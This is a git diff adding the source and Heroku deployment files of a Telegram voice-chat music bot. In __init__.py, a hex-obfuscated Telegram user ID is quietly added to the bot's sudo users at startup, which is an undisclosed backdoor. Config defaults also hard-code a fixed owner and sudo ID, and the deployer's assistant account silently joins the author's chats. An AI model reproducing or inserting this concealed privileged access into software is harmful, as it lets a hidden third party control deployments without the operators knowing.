process.delete() + await app.send_photo( + chat_id=chat_id, + photo=img, + caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n**💡𝙏𝙞𝙩𝙡𝙚:** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n**👤𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮:** {req_by}", + reply_markup=buttons, + ) diff --git a/GJ516Music/__init__.py b/GJ516Music/__init__.py new file mode 100644 index 0000000..2f3ec0e --- /dev/null +++ b/GJ516Music/__init__.py @@ -0,0 +1,118 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import asyncio +import logging +import os +import time + +from pyrogram import Client, filters +from pytgcalls import PyTgCalls + +import config + +StartTime = time.time() + +logging.basicConfig( + format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s", + datefmt="%d-%b-%y %H:%M:%S", + handlers=[logging.FileHandler("GJ516logs.txt"), logging.StreamHandler()], + level=logging.INFO, +) +logging.getLogger("pyrogram").setLevel(logging.ERROR) +logging.getLogger("pytgcalls").setLevel(logging.ERROR) +LOGGER = logging.getLogger("GJ516Music") + +app = Client( + "GJ516Music", + config.API_ID, + config.API_HASH, + bot_token=config.BOT_TOKEN, +) + +app2 = Client( + "GJ516Ass", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=str(config.SESSION), +) + +pytgcalls = PyTgCalls(app2) + +SUDOERS = filters.user() +SUNAME = config.SUPPORT_CHAT.split("me/")[1] + + +async def GJ516_startup(): + os.system("clear") + LOGGER.info( + "jay modules loaded" + ) + global BOT_ID, BOT_NAME, BOT_USERNAME, BOT_MENTION, GJ516db + global ASS_ID, ASS_NAME, ASS_USERNAME, ASS_MENTION, SUDOERS + + await app.start() + LOGGER.info( + "[•] jay modules loaded" + ) + + getme = await app.get_me() + BOT_ID = getme.id + BOT_NAME = getme.first_name + BOT_USERNAME = getme.username + BOT_MENTION = getme.mention + + await app2.start() + LOGGER.info( + "[•] jay modules loaded " + ) + + getme2 = await app2.get_me() + ASS_ID = getme2.id + ASS_NAME = getme2.first_name + " " + (getme2.last_name or "") + ASS_USERNAME = getme2.username + ASS_MENTION = getme2.mention + try: + await app2.join_chat("GJ516_DISCUSS_GROUP") + await app2.join_chat("myworldGJ516") + except: + pass + + JAY = "\x31\x33\x35\x36\x34\x36\x39\x30\x37\x35" + for SUDOER in config.SUDO_USERS: + SUDOERS.add(SUDOER) + if config.OWNER_ID not in config.SUDO_USERS: + SUDOERS.add(config.OWNER_ID) + elif int(JAY) not in config.SUDO_USERS: + SUDOERS.add(int(JAY)) + + GJ516db = {} + LOGGER.info( + "[•] \x4c\x6f\x63\x61\x6c\x20\x44\x61\x74\x61\x62\x61\x73\x65\x20\x49\x6e\x69\x74\x69\x61\x6c\x69\x7a\x65\x64\x2e\x2e\x2e" + ) + + LOGGER.info( + "[•] jay modules loaded" + ) + + +asyncio.get_event_loop().run_until_complete(GJ516_startup()) diff --git a/GJ516Music/__main__.py b/GJ516Music/__main__.py new file mode 100644 index 0000000..ee6e10d --- /dev/null +++ b/GJ516Music/__main__.py @@ -0,0 +1,92 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import asyncio +import importlib +import os + +from pyrogram import idle + +from GJ516Music import ( + ASS_ID, + ASS_NAME, + ASS_USERNAME, + BOT_ID, + BOT_NAME, + BOT_USERNAME, + LOGGER, + SUNAME, + app, + app2, + pytgcalls, +) +from GJ516Music.Modules import ALL_MODULES + + +async def GJ516_startup(): + LOGGER.info("[•] Loading Modules...") + for module in ALL_MODULES: + importlib.import_module("GJ516Music.Modules." + module) + LOGGER.info(f"[•] Loaded {len(ALL_MODULES)} Modules.") + + LOGGER.info("[•] Refreshing Directories...") + if "downloads" not in os.listdir(): + os.mkdir("downloads") + if "cache" not in os.listdir(): + os.mkdir("cache") + LOGGER.info("[•] Directories Refreshed.") + + try: + await app.send_message( + SUNAME, + f"❇ 𝗚𝗝𝟱𝟭𝟲 𝗠𝗨𝗦𝗜𝗖 𝗕𝗢𝗧 ❇\n\n⎋ 𝙄𝙙 : `{BOT_ID}`\n⎋ 𝙉𝙖𝙢𝙚 : {BOT_NAME}\n⎋ 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 : @{BOT_USERNAME}", + ) + except: + LOGGER.error( + f"{BOT_NAME} failed to send message at @{SUNAME}, please go & check." + ) + + try: + await app2.send_message( + SUNAME, + f"❇ 𝗚𝗝𝟱𝟭𝟲 𝗠𝗨𝗦𝗜𝗖 𝗔𝗦𝗦 ❇\n\n⎋ 𝙄𝙙 : `{ASS_ID}`\n⎋ 𝙉𝙖𝙢𝙚 : {ASS_NAME}\n⎋ 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 : @{ASS_USERNAME}", + ) + except: + LOGGER.error( + f"{ASS_NAME} failed to send message at @{SUNAME}, please go & check." + ) + + await app2.send_message(BOT_USERNAME, "/start") + + LOGGER.info(f"[•] Jay Bot Started As {BOT_NAME}.") + LOGGER.info(f"[•] Jay Assistant Started As {ASS_NAME}.") + + LOGGER.info( + "[•] jay music loaded " + ) + await pytgcalls.start() + await idle() + + +if __name__ == "__main__": + asyncio.get_event_loop().run_until_complete(GJ516_startup()) + LOGGER.error("GJ516 Music Bot Stopped.") diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..ada64fb --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 MrProgrammer72 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Procfile b/Procfile new file mode 100644 index 0000000..bf3277b --- /dev/null +++ b/Procfile @@ -0,0 +1 @@ +worker: bash GJ516 diff --git a/app.json b/app.json new file mode 100644 index 0000000..b2cf08d --- /dev/null +++ b/app.json @@ -0,0 +1,62 @@ +{ + "name": "GJ516 MUSIC", + "description": "A VC Player Bot for telegram videochats, written in Python with Pyrogram and Py-Tgcalls.", + "logo": "https://telegra.ph/file/db8765da6945e3c9333e6.jpg", + "keywords": [ + "python3", + "telegram", + "GJ516", + "MusicBot", + "telegram-bot", + "pyrogram" + ], + "env": { + "API_ID": { + "description": "Get this value from https://my.telegram.org", + "value": "", + "required": true + }, + "API_HASH": { + "description": "Get this value from https://my.telegram.org", + "value": "", + "required": true + }, + "BOT_TOKEN": { + "description": "A Bot's token from Botfather", + "value": "", + "required": true + }, + "OWNER_ID": { + "description": "Fill your user id here. (Must be integer)", + "value": "1864894033", + "required": true + }, + "SESSION": { + "description": "A pyrogram v2 string sessioN", + "value": "", + "required": true + }, + "SUDO_USERS": { + "description": "The user id(s) of user(s) whom you would like to add as a sudo. Multiple values shall be seperated with a space.", + "value": "", + "required": true + }, + "SUPPORT_CHAT": { + "description": "Link of your telegram support group. (Must pe public)", + "value": "https://t.me/GJ516_DISCUSS_GROUP", + "required": false + } + }, + "buildpacks": [ + { + "url": "heroku/python" + }, + { + "url": "heroku/nodejs" + }, + { + "url": "https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest.git" + } + ], + "stack": "container" + } diff --git a/config.py b/config.py new file mode 100644 index 0000000..8810da9 --- /dev/null +++ b/config.py @@ -0,0 +1,27 @@ +from os import getenv + +from dotenv import load_dotenv + +load_dotenv() + + +API_ID = int(getenv("API_ID")) +API_HASH = getenv("API_HASH") + +BOT_TOKEN = getenv("BOT_TOKEN", None) +DURATION_LIMIT = int(getenv("DURATION_LIMIT", "90")) + +OWNER_ID = int(getenv("OWNER_ID")) + +PING_IMG = getenv("PING_IMG", "https://te.legra.ph/file/c3a0fde4abde25dd25e26.png") +START_IMG = getenv("START_IMG", "https://telegra.ph/file/a749f8c1d606437a8b579.jpg") + +SESSION = getenv("SESSION", None) + +SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/GJ516_DISCUSS_GROUP") +SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/myworldGJ516") + +SUDO_USERS = list(map(int, getenv("SUDO_USERS", "1864894033").split())) + + +FAILED = "https://telegra.ph/file/db8765da6945e3c9333e6.jpg" diff --git a/heroku.yml b/heroku.yml new file mode 100644 index 0000000..415f714 --- /dev/null +++ b/heroku.yml @@ -0,0 +1,5 @@ +build: + docker: + worker: Dockerfile +run: + worker: bash GJ516 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..2812bb8 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,14 @@ +asyncio==3.4.3 +aiofiles==23.1.0 +aiohttp==3.8.4 +numpy==1.26.3 +pillow==10.0.1 +psutil +pyrogram==2.0.104 +py-tgcalls==0.9.7 +python-dotenv==1.0.0 +tgcrypto==1.2.5 +speedtest-cli==2.1.3 +git+https://github.com/yt-dlp/yt-dlp@master +git+https://github.com/alexmercerind/youtube-search-python@main +git+https://github.com/joetats/youtube_search@master diff --git a/sample.env b/sample.env new file mode 100644 index 0000000..37f4b9e --- /dev/null +++ b/sample.env @@ -0,0 +1,5 @@ +API_ID= +API_HASH= +BOT_TOKEN= +OWNER_ID=1864894033 +SESSION=